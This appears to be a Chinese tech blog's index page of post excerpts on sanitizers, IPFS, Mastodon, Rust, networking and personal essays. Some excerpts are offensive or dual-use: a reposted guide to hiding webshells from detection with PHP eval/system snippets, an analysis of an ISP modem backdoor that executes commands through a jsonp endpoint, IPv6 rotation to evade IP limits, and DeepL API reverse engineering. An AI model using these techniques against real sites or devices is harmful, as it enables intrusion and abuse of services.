Sanitizers是好东西，可以帮助程序员检测错误并提供详细的错误报告。但前两天我遇到了一个问题，在我实验室主机的 Docker 容器中，AddressSanitizer 输出几行 Error 概述信息后，无法输出调用堆栈信息以及后续内容，程序会卡在这里，并且一个子进程会占满一个 CPU 核心。这件事我花了两天时间来排查，最终确定竟然是由于打开文件数限制设置太大导致的。请听我道来。发现问题我准备了一个最小的 POC，用来重现本次事件的整个流程。以下是一个简单的 c 程序，如果直接编译运行会出现 SegmentFault，因为出现了越界写。1234voidmain(){char*str="abc";str[10]='z';}使用 clang 编译并开启 AddressSanitizer:clang -g -fsanitize=address -fno-omit-frame-pointer -o target_asan poc.c正常情况下运行应该很快输出调用堆栈信息，如图：AddressSanitizer 正常输出而这在我的 Docker 容器中就会卡住，通过top命令可以看到一个子进程占满一个 CPU 核心：卡住的情况我一开始以为程序就这样进入死循环了，谁知道等了几分钟竟然也输出了结果。于是我开始查资料，在LLVM 文档中提到可以通过设置环境变量ASAN_OPTIONS=symb ...继续阅读 (38)

Sanitizers是好东西，可以帮助程序员检测错误并提供详细的错误报告。但前两天我遇到了一个问题，在我实验室主机的 Docker 容器中，AddressSanitizer 输出几行 Error 概述信息后，无法输出调用堆栈信息以及后续内容，程序会卡在这里，并且一个子进程会占满一个 CPU 核心。这件事我花了两天时间来排查，最终确定竟然是由于打开文件数限制设置太大导致的。请听我道来。发现问题我准备了一个最小的 POC，用来重现本次事件的整个流程。以下是一个简单的 c 程序，如果直接编译运行会出现 SegmentFault，因为出现了越界写。1234voidmain(){char*str="abc";str[10]='z';}使用 clang 编译并开启 AddressSanitizer:clang -g -fsanitize=address -fno-omit-frame-pointer -o target_asan poc.c正常情况下运行应该很快输出调用堆栈信息，如图：AddressSanitizer 正常输出而这在我的 Docker 容器中就会卡住，通过top命令可以看到一个子进程占满一个 CPU 核心：卡住的情况我一开始以为程序就这样进入死循环了，谁知道等了几分钟竟然也输出了结果。于是我开始查资料，在LLVM 文档中提到可以通过设置环境变量ASAN_OPTIONS=symb ...继续阅读 (20)

埃隆·马斯克 440 亿美元拿下 Twitter 后就开始大刀阔斧进行改革，他要做推特 2.0，但没想到他的举措竟然是大量裁员，施行专政。接下来的一系列举措使 Twitter 俨然已经成为某些人自我营销和推广的个人发布平台，想必是之前通过 Twitter 割虚拟货币韭菜割爽了。我想未来老马利用 Twitter 宣传进入政界也不足为奇。于是很多人便开始考虑脱离专制的 Twitter 平台，寻找一个更加开放自由、权力更加分散的平台，Mastodon 凭借多年的技术积累、好看的 UI 和类 Twitter 的交互逻辑，一举跃入众人的视野。MastodonMastodon又叫长毛象，我是 21 年左右在某个论坛看到 “草莓县”(cmx.im) 从而接触并了解了 Mastodon。Mastodon 从 16 年就开始开发，在我第一次接触它的时候 UI 就已经很美观了，其在 22 年进入大众视野并受到大家喜爱我一点也不感到奇怪，这么长时间的积累使 Mastodon 的成功成为历史的必然。Mastodon 开源、去中心化(联邦制)的特性决定了任何个人和组织都可以搭建自己的 Mastodon 实例，从而加入到这个社交网络中来，人们既可以按照爱好、观念聚集在某个实例中，同时又可以与其他实例的用户进行各种交互，这种小邦大连的社交模式真的深得人心。简单来说，作为用户，你可以从众多 ...继续阅读 (19)

这两天，V2EX 的站长 Livid发布了一款基于 IPFS 和 ENS 的内容发布和订阅应用[Planet]，其想法在之前的一期[播客访谈]中就提到过，当初就觉得很有意思。也不出我所料，Planet 一经发布就引来了众多关注，Planet 用图形化的方式使更多普通人可以尝试 IPFS 这类分布式内容发布，据说后面还会增加评论功能，这在 IPFS 网络中也算是一个不小的挑战，不知道 Planet 能将易用性做到什么水平，我会继续关注。我也在很早之前就了解并开始使用 IPFS 技术，在折腾的过程中也积累了一些经验，下面我将向你们分享一些使用技巧，使你的 IPFS 更加易用。完全新手朋友请先阅读我在 20年写的《IPFS 新手指北》这篇文章搭建网关相比较使用公共 IPFS 网关，我更推荐自己在家中搭建，不仅能提供更优的体验，还可以避免在每台电脑安装 IPFS 的麻烦。按照普通教程在服务器上安装好 IPFS 后，你需要修改配置文件，对外开放 Api 和 Gateway。因为是在家庭网络中，我就不额外介绍访问控制配置，如果你是在公网服务器搭建，需要注意配置访问控制以免被滥用修改 API 和 Gateway 绑定的 IP 为0.0.0.0以开放给局域网，然后修改 API 的 http header 配置跨域：1234567891011121314151617"API":{"HTTPHeade ...继续阅读 (26)

前言昨天我舍友为了爬虫购买了昂贵的 IP 代理池，我在旁边突然萌生了一个想法，现在各大 ISP/IDC 动不动就给你分配一整个 64 位前缀的 IPv6 网段，我们能不能好好利用一下这庞大的 IPv6 IP 资源呢？有了这个想法我就睡不着了，今天一大早（9点半）我就起来着手研究，最终成功实现每一个请求从一个单独的 IPv6 地址发出。先看效果，我把写好的程序放在服务器上跑了一会，下面是 Cloudflare 统计的访问信息，可以看到独立访问者 (独立 IP) 数量达到了我的小博客前所未有的数量，基本上是一个请求一个独立 IP，效果非常不错。教程首先你要有一整个 IPv6 子网路由给你，当遇到吝啬的服务商，即使他们有巨多的 IPv6 资源，他也不给你用，这种情况你没辙。不过幸好，绝大多数 ISP/IDC 都会给你一整个 IPv6/64子网，有的甚至可以申请/56子网，这数量又增加了好几个数量级，所以你几乎不必担心。为了方便实验，我购买了[Vultr 的服务器]，如果你还没有注册，可以使用我的[AFF 链接].你可以通过ip a命令查看网络接口的地址，从而获取你的 IPv6 子网信息：12345678$ ip a......2: enp1s0:mtu1500qdisc fq state UP group default qlen1000......inet6 2001:19f0:600 ...继续阅读 (25)

这篇博文本应该在去年完成 DeepL 客户端逆向的时候发布，但考虑到相关细节一旦公开，恐怕会被广泛采用而被 DeepL 官方封杀，因此迟迟未开始。前段时间我发布了DeepL Free Api 的 Docker 镜像，也在GitHub 上公开了相关二进制程序，就下载量来看已经有不少人在使用了，相信 DeepL 不久就会有动作，因此我认为现在已经可以公开相关细节。我逆向的是 DeepL 的 Windows 客户端，因为是C#开发依附于.net，也未进行任何混淆和加壳，可以轻松逆出源码。通过前段时间与一些其他研究者交流，我认为已经有不少感兴趣的同学也进行了逆向，也许是一种默契，都害怕 DeepL 在发觉后进行修改，所以大家也都没有对外公开，目前网络中搜不到任何相关的内容。本文的目的是给相关小伙伴一点思路，不过希望大家还是不要直接公开代码，以继续欺骗 DeepL，让其相信还没有人发现他们的把戏。在我实现 DeepL Free Api 的过程中，我发现 DeepL 并没有像之前见到的一些接口设计那样，通过签名等手段来避免接口滥用，相反，他们使用了一些欺骗战术来混淆视听，从而尝试让抓包分析者放弃，本文将围绕此进行讨论。过程进入研究生阶段，为了方便阅读论文，为自己开发了划词翻译工具，在众多翻译引擎中 DeepL 的效果尤为出色。DeepL 官方的 Api 需要绑定信用卡进行认证，但其并未在中国大 ...继续阅读 (23)

需求今天遇到一个需求，需要随机的生成一个枚举类型的实例。不像 Python 那样方便，用 Rust 需要实现特定的 Trait，最简单的想法就是给枚举类型不同的成员编个号，然后生成一个随机数，实例化对应的成员，如果成员拥有数据，就递归的随机生成这些数据。123456789101112implDistributionforStandard{fnsample(&self;,rng:&mutR;)->Instruction{matchrng.gen_range(0..459){0=>Instruction::Unreachable,1=>Instruction::Nop,2=>Instruction::Block(BlockType::FunctionType(rng.gen())),3=>Instruction::Catch(rng.gen()),// ... 预估超过2千行_=>unreachable!(),}}}需求本身确实简单，问题在于这个枚举类型的成员太多了，足足有 459 个，按照传统的思路，保守估计至少要写半天，并且很枯燥。图中可以看出，要对该枚举类型实现一个简单的函数都需要上千行。庞大的枚举类型我非常讨厌这种简单却繁重的工作的，我想到了 Rust 过程宏。过程宏当初学 Rust 的时候，了解过宏相关的内容，其中声明宏技术我已经在其他项目中实践过了，因为其本身就是个模板生成 ...继续阅读 (31)

TUN是内核提供的三层虚拟网络设备，由软件实现来替代真实的硬件，相当于在系统网络栈的三层(网络层)位置开了一个口子，将符合条件(路由匹配)的三层数据包交由相应的用户空间软件来处理，用户空间软件也可以通过TUN设备向系统网络栈注入数据包。可以说，TUN设备是用户空间软件和系统网络栈之间的一个通道。TAP是二层(以太网)虚拟网络设备，处理的是以太帧，更加底层可以拿到更多信息，但不在本文的讨论范围。我们想要利用TUN来做一些事情，实际上就是要编写一个用户态程序，拿到 TUN 设备句柄，向其写入序列化的IP数据包，从中读取数据并还原成IP数据包进行处理，必要时需要取出其payload继续解析为相应传输层协议。通常使用 TUN 技术的是 VPN 和代理程序，然而这两类程序在对待 TUN 中传递的 IP 数据包时通常有不同的行为：VPN通常做网络层的封装：将拿到的 IP 包进行加密和封装，然后通过某个连接传输到另一个网络中，在解封装和解密后，将 IP 包发送到该网络。在这个过程中，对 IP 包本身的修改是非常小的，不会涉及到整体结构的变动，通常仅会修改一下源 IP 和目标 IP ，做一下 NAT。代理程序通常是传输层的代理：在从 TUN 设备拿到 IP 包后，需要继续解析其 payload，还原出 TCP 或者 UDP 结构，然后加密和封装传输层 (TCP或UDP) 的 payload。网络层 ...继续阅读 (19)

其实一开始我是想写为什么博客更新越来越慢，但是随着思考的深入，我发现不仅是博客，我在其他地方也越來越封闭，不再表达自己。翻看近几年我发过的朋友圈，19年1条，20年2条，21年发了3条，而今年仅有一条新年祝福。发朋友圈和说说频率的锐减，我在很早之前就发现了，博客更新频率也在减少，与人倾诉的频率几乎归零。不知道为什么，随着知识的增加、人生经验的积累，我的表达欲却在慢慢的下降，而现在几乎已经到达一个极低的水平。看似与人交流很多，却未讨论过自己真正关心的事情；经常麻烦别人，却在遇到真正的难题时自己闷头解决；没有什么伤心事，但总觉得自己忧国忧民心怀天下；看了很多思考了很多，却不再表达而是通过阅读寻求认同感；逐渐封闭掉自己的熟人社交，转向匿名化平台发表。我觉得我变了，我不知道这是一种成长还是一种心理疾病，我思考了很多原因，也许是找了一些借口，我决定将它们写下来。现在我打开手机的笔记软件，这些想法是我昨晚睡前思考的东西，怕第二天忘记所以及时的记录了下来。在我面前的一连串的“我怕”，但仔细看下来却又觉得自己是多么的幼稚，这些东西有啥好“怕”的，我是在在乎什么，为何不能坦然一点。我怕文章不够条理也许你已经发现，我的文章大多都明确的划分段落写上标题，我在特意的理清文章的内容，便于读者阅读。我发现这是一种额外的负担，我是真的想写流水帐，想到什么就写什么，又不是在写书，读者啥的你们会自己去理清楚的。我真 ...继续阅读 (22)

当你在做某一件事，貌似已经陷入其中好多时日，某一天猛然反应过来，好像这件事并没有想像那么重要，你应该弃坑吗？我将以自身经历来向你讲述这一点，我已经经历过这样的抉择好多次了。最初还是非常难以割舍，毕竟已经投入了如此多的精力和时间，就此别过总显得虎头蛇尾。但后来我也算是想通了，人的精力总归是有限，应该尽可能的投入到真正想做的事情中，越能够及早的意识到这一点，在这样的抉择面前越能够坦然做出决定。我也是近几年才意识到这一点，如果没有记错的话，第一次遇到这样的抉择是在三年前。起初，在某一天我的脑海中突然有了一个想法。人一旦有了想法便总想要去实现一下，于是我便开始着手做这件事，顺便开源出去看看能不能给别人也提供一点便利，说不定还能拉一波人气。事情最初的发展确实符合我的预期，我便投入更多时间，同时对外做了一些宣传工作。随着关注的人越来越多，我的心态发生了一些变化，我也不知道到这种心态应该如何表达，也许是对项目、对使用者的责任心，夹杂着一丁点虚荣心。项目的使用者越来越多，他们给出了不少反馈，提了一些问题、要求和请求。作为项目维护者，我常常被这些问题和要求折磨，因为责任感的原因，我的邮件通知就像锁魂咒一样，哪怕是在睡觉，一听到那声通知音，我便能立即醒过来，点亮手机查看反馈。如果我觉得能够在短时间内解决这个问题，我甚至能够在大半夜爬起来打开电脑处理这个问题。白天的绝大多数时间我都在做这个项目的开发，甚 ...继续阅读 (16)

现在是2021年12月31号晚8点，还有几个小时就要迈进2022的大门。是时候回过头来，再看看我经历过的最不普通的一年了。个人相关总结学业首先我要祝贺自己，在2021年6月，顺利结束了大学四年本科生涯，并在今年9月份，开启了研究生新篇章。我所在的实验室叫“二进制分析实验室”，主要做二进制漏洞自动化发现相关的工作，还有两个师姐在做恶意流量识别的相关内容。在这个人工智能水论文的大潮流下，在我所处的学院，这个实验室应该是唯一一个能够逃离人工智能技术的地方，其实我的师兄师姐大部分也在用人工智能相关技术，但是我的导师给了我足够宽的选择空间，研究方向和使用的技术从我的爱好出发，因此从我的角度而言，无论最终会不会顺利产生成果，能够顺应自己的爱好，这样的研究生3年，应该是不会枯燥和痛苦。然后是实验室的氛围。我发现周围的实验室好多都好压抑，大家每天在自己的工位上戴着耳机，几乎没有交流，除了卷王就是几乎啥都不会的“搞人工智能调参的那群人”，那样的实验室我是一秒钟也不想待。我们实验室就没有那么压抑，大家每天啥都讨论，无论是学术还是未来就业还是谈女朋友还有八卦新闻，最常谈论的话题就是中午吃什么，隔壁实验室的舍友羡慕我们每天实验室几个人一起出去小聚餐，惬意的很。我的师兄师姐也很关心和照顾我，真不错。友情本科毕业，我与众多好友迎来了分别，他们有的进入企业开始自己的职业生涯，有的保研或考研至其他学校，这一别不知 ...继续阅读 (24)

昨天上课的时候无聊刷V2EX，读到 360 Netlab 发布的文章《一个藏在我们身边的巨型僵尸网络 Pink》，披露了2019年底到2020年春节前后的一个名为"Pink“的巨型僵尸网络从被发现到攻防博弈过程的一些细节文中的攻防过程令我很是激动，因为我想起了在2020年初的一件事光猫升级事件2020年1月初，访问某些http协议(80端口)的网站，会被劫持到一个联通光猫升级页面百度贴吧被劫持到升级页面信息对这个页面的源码在gist上进行了备份，感兴趣的同学可以看一下9923行官方后门通过查看请求和页面源码可以发现这个页面通过向192.168.1.1的某个接口进行jsonp请求来执行命令12345678910111213141516171819202122232425functionajax(){//document.getElementById("tip").innerHTML="请重启光猫，并保持页面不关闭，重启后请立即连接光猫WIFI或者网口，等待五分钟后检查网络是否正常";$.ajax({dataType:'jsonp',data:"",jsonp:'callback',url:'http://192.168.1.1/createNewFolder.json?enlpassword=1234567890abcdefx1234567890abcdefxx12345 ...继续阅读 (23)

凌晨3点，一阵凉风把我吹醒我点亮手机屏幕，一条推送新闻映入眼帘：“苹果公司让iCloud Safari书签也实现端到端加密”端到端加密“端到端加密”，他们总喜欢用这样一些看起来高大上的词汇我对这个词颇为熟悉，原本不想多说，但为了本文的部分读者，我还是稍微解释一下为好所谓的“端”，即指你的客户端，该新闻中指你的苹果设备“端到端加密”就是说你的数据在对外传输之前会进行加密，只会在接收的客户端进行解密，而在网络传输和苹果的数据库存储这些中间过程中不进行任何解密操作，这就能保证你的数据只有你可见，其他中间人看到的都只是加密的数据，从而保证你的数据安全安全吗？很明显，苹果此举是为了保证你的数据安全，但这样是不是就保证了你的数据除了你之外没有人可以看到呢？先别急着回答，让我们先来捋一下：现代密码学保证数据被加密后其他人看不到原文（期望上如此）端到端加密保证了数据离开你的设备后呈现的都是密文状态这样看来，端到端加密理论上可以保证你的数据别人看不到再来看看这条推送新闻:据 Reddit 论坛信息，苹果“iCloud 安全概述”页面的更新显示，与 Safari 标签和历史记录相同，Safari 书签现也更新为端到端加密。这意味着任何人，甚至是苹果，都无法访问用户保存的 Safari 书签。新闻中都这样说了，不管懂不懂，反正我们便要相信它了真的如此吗？等等！！！真的如此吗？我在苹果的ToS中发现了这样 ...继续阅读 (30)

“干！他妈的我被卷了。我不能接受！” 一个研究生学长这样告诉我。这是我提前选修的研究生课程，按照提交的文档评成绩，本是上个学期的课程却拖到这个学期末才出成绩。我很诧异自己拿到的成绩没有过平均线，但历年来该课程老师的极低评价我也有所耳闻，因此自己也算能够勉强接受。然而那个研究生学长却没听说过该老师，算是踩了个大坑。他的学习态度我是见过的，很努力很刻苦，最后给他不到70分的成绩和倒数的名次给谁也接受不了，我建议其申请成绩复议。后来他跟我说，那个老师给他发了第一名97分的文档，人家提交了21页，足足有1万5千字。而他只提交了3000字。所以我知道了，我应该也被狠狠的卷了，因为我也只提交了3000字。但我拿到了80分（草，没过平均线），虽然没有什么用。我拿到了那份21页的文档，原来也是提前选修的同学，是个女生，见过几面，挺温柔的，所以我不想批判她。（我劝各位读者不要他妈多想）亲身经历过内卷（是被卷的一方），这段时期又刮起一阵反内卷风，B站各种《内卷的名义》等反内卷题材小短片，“躺平”这个词被大众广泛接受（我不喜欢内卷，但也不支持躺平），我就想，是时候写点东西了。可能不是很深刻，但也算是我在这个时期的一扑棱，毕竟还是有同学和陌生人来看我写的文字的，感谢大家。我参与过内卷吗？在开始之前，我想先回答这个问题：“我参与过内卷吗？”。毕竟大家都不喜欢内卷（我想至少我的读者应该是这样的），我不想一开始 ...继续阅读 (30)

记得大一刚入学时，免费的校园网是上下行对等的100Mbps带宽，虽然赶不上家里的速度，但是用起来还是比较舒服的万万没想到，当别的学校都在忙着升级成千兆网络的时候，自己学校竟然来了个反向操作，30Mbps限速，真TMD鬼，不知道怎么想的这垃圾校园网，我是忍不了了，考虑到每个人都能多个设备同时登录，肯定就有多拨的可能，那就搞起来！Linux下手工操作本着学习的态度，上来肯定要先在Linux下手动操作一遍（其实我是先用iKuai验证可行后，才尝试用Linux手工配的我们的基本思路是：拿到多个IP过了学校的联网认证进行负载均衡以下所有操作都需要root权限利用macvlan获取多个IP首先要创建多个虚拟网络接口，利用不同的Mac地址进行DHCP获取多个不同的IP地址在Linux下，内核提供的macvlan就可以实现我们的需求，从Linux Kernel 3.9开始就支持了貌似，所以只要不是安装非常老的系统都是支持的查看一下你的系统是否支持：123# modprobe macvlan# lsmod | grep macvlanmacvlan245760如果显示类似上面的内容就表示支持添加一个macvlan类型的网络接口：1ip link add linktypemacvlan例如，通过ip addr或者ifconfig查看到物理网卡名为eth0，新网络接口名我们用vmac0vmac1这样的表 ...继续阅读 (25)

这个时代是一个内容爆炸、知识爆炸的时代，文字、图片、视频、书籍等资料比以往更加容易获取，还有来自于各种各样的软件、媒体的信息应接不暇，所有人都主动的或被动的处于持续学习的阶段。为了能够更快速、更高效的获取知识，很多人会选择直接学习别人总结提炼过的内容。这种行为非常常见，学生购买的各种总结性资料例如学长笔记、知识点提纲、公式定理小手册，程序员阅读总结性文章等。这种通过直接学习提炼过的内容的方法比普通的循规蹈矩的方法速度快很多，在绝大多数情况下解决问题也比传统方法更加有效，因为其能够直接指出关键点，能够直接给出解决方案，因此非常受大家喜爱。在我看来，如果仅仅是要对某一方面知识进行粗略了解，这种方法行之有效，但如果想要在某一领域深入，甚至以后想要通过该领域养活自己，就必须避免使用这种捷径方法。提炼的知识丢失了很多细节进行内容提炼必定会丢失细节，这是毫无疑问的。抱着学习的态度，我们还要考虑更多因素，包括进行内容提炼的人他自己的水平，还有提炼者自己的研究是否侧重于某个特定方向，从而可能导致内容的偏向性和不全面。提炼的知识只包含结果，丢失了过程从初高中一直到大学，看过一些总结性内容，包括学长笔记、考点汇总等等。我发现这些内容为了能够更直接的传达内容，往往只包含结果，而丢失了这个内容是如何来的或者为什么如此的过程。不是说这些总结提炼的内容不好，我反对的是为了省事而跳过对知识的由来和证明的学习。从 ...继续阅读 (31)

IPFS简介IPFS全称InterPlanetary File System，中文名叫星际文件系统，听起来非常酷炫。它是是一个旨在创建持久且分布式存储和共享文件的网络传输协议，是一种内容可寻址的对等超媒体分发协议。在IPFS网络中的全球所有节点将构成一个分布式文件系统，全球中的每一个人都可以通过IPFS网关存储和访问IPFS里面的文件。这个酷炫的项目最初由Juan Benet设计，自2014年开始由Protocol Labs在开源社区的帮助下发展，是一个完全开源的项目。IPFS官网GitHubIPFS的优点与现有Web比较现有的网络技术效率低下、成本高昂HTTP一次从一台计算机下载文件，而不是同时从多台计算机获取文件。点对点IPFS节省了大量的带宽，视频高达60%，这使得无需重复地高效地分发大量数据成为可能。现有的网络无法保存人类的历史一个网页的平均寿命是100天，然后就永远消失了。我们这个时代的主要媒介还不够脆弱。IPFS保留文件的每一个版本，并使为镜像数据建立弹性网络变得简单。现有的网络是集中的，限制了机会互联网作为人类历史上最伟大的均衡器之一，推动了创新的发展，但日益巩固的集权控制威胁着这一进步。IPFS通过分布式技术来避免这一点。现有的网络深度依赖主干网IPFS支持创建多样化的弹性网络，以实现持久可用性，无论是否有Internet主干网连接。这意味着发展中国家在自然灾害期间 ...继续阅读 (29)

下午，还是习惯性的打开GitHub，发现有个没有头像的人Follow我通常出于礼貌，我会查看对方的个人页和他的仓库，如果感觉不错便会回Follow他当我打开他的GitHub个人profile页面，令我惊讶的是他总共follow了59.3k人，而他的followers人数又七百多人他只Pin了一个仓库，有70多个star，按理说无法吸引如此多数量的followers，这激起了我的好奇，难不成有什么好的内容没有Pin出来？先看了一下他的贡献，连续两年都很稀疏，也没有什么突出的贡献量，平平无奇接下来查看他的仓库，一共有三百五十多个仓库，其中绝大多数都是Fork来的，通过筛选找到他自己的仓库25个仔细查看这25个项目，除了他pin出来的那个仓库有73个star外，其他的统统都没有或者仅有个位数star而仓库的内容也没有太有价值的东西，所以几乎可以判断他的follower不是因为有价值的东西而follow的他Follow了近6万人，star了5千多个项目，结合我自己有回Follow的习惯，看样子这个人的follower大部分都是被骗来的这个程序员不讲武德。来，骗！我涉世未深的，小同志。这好吗？这不好。我劝！这位，程序员，耗子尾汁，好好反思。以后不要再犯这样的聪明，小聪明，啊感兴趣的同学看这里：https://github.com/Lisprez ...继续阅读 (28)

前几天Cloudflare将Workers KV增加了免费额度，还不得搞起来？利用Workers KV存储网页内容，通过Workers将内容返回给用户，就等于将自己的网站直接部署到CF成千上万的边缘节点当中，全球访问速度和TTFB都应该不错https://blog.cloudflare.com/workers-sites/安装Wrangler官方文档Wrangler有两种安装方式，通过NPM或者Cargo安装都可以，任选其一即可准备好NodeJS和NPM环境，然后执行下面命令，NPM方式是下载预编译好的二进制程序，安装速度比较快1npm i @cloudflare/wrangler -g或者准备好Rust环境，然后执行下面命令，Cargo方式是在本机从源码编译，安装速度比较慢1234cargo install wrangler# 使用系统OpenSSL库，生成的二进制会小一些cargo install wrangler --features sys-OpenSSL部署我自己博客使用的是Hugo，下面所有内容都是按照Hugo的方式来，其他静态站点生成器方法类似登录1234wrangler login# 手动设置tokenwrangler config初始化进入自己站点的目录，执行下面命令进行初始化。这里Wrangler会自动安装cargo-generate工具，在本目录下创建一个wo ...继续阅读 (24)

前段时间从逆向xray开始入门Golang逆向，打算深入学习一下Golang逆向方法，这几天看了很多相关的文章，原本想要自己总结一文，但无奈大佬们的总结太全面了，我就直接扔链接吧Go二进制文件逆向分析从基础到进阶J!4Yu大佬的系列文章太全面了，他写的go_parser相当好用综述MetaInfo、函数符号和源码文件路径列表数据类型itab与stringsTips与实战案例英文文章Reversing GO binaries like a proBsides-GO-Forth-And-ReverseReconstructing Program Semantics from Go binariesJEB Analyzing Golang ExecutablesThe Go low-level calling convention on x86-64操作文章和总结手把手教你如何专业地逆向GO二进制程序inctf(ultimateGo)Go语言逆向去符号信息还原无符号Golang程序逆向方法解析golang语言编译的二进制可执行文件为什么比 C 语言大Go-逆向学习问题总结工具和插件https://github.com/strazzere/golang_loader_assisthttps://github.com/sibears/IDAGolangHelperhttps://github ...继续阅读 (32)

转自：酒仙桥六号部队https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug这个公众号的文章质量都非常高，推荐大家关注拿下一个站后总希望自己的后门能够很隐蔽！不让网站管理员或者其他的Hacker发现，网上关于隐藏后门的方法也很多，如加密、包含，解析漏洞、加隐藏系统属性等等，但大部分已经都不实用了，随便找一个查马的程序就能很快的查出来，下面分享我总结的一些经验：制作免杀webshell隐藏webshell最主要的就是做免杀，免杀做好了，你可以把webshell放在函数库文件中或者在图片马中，太多地方可以放了，只要查杀工具查不到，你的这个webshell就能存活很长时间，毕竟管理员也没有那么多精力挨个代码去查看。命令执行的方法这里使用我们最常用的php的一句话马来给大家做演示，PHP版本是5.6的，在写一句话马之前我们来先分析一下PHP执行命令方法直接执行使用php函数直接运行命令,常见的函数有(eval、system、assert)等，可以直接调用命令执行。1@eval('echo 这是输出;');动态函数执行我们先把一个函数名当成一个字符串传递给一个变量，在使用变量当作函数去执行1$a="phpinfo";$a();文件包含执行有两个php文件，我们把执行命令的放在文件b中，使用文件a去包含，达到执行的效果b.php12php@eval(' ...继续阅读 (29)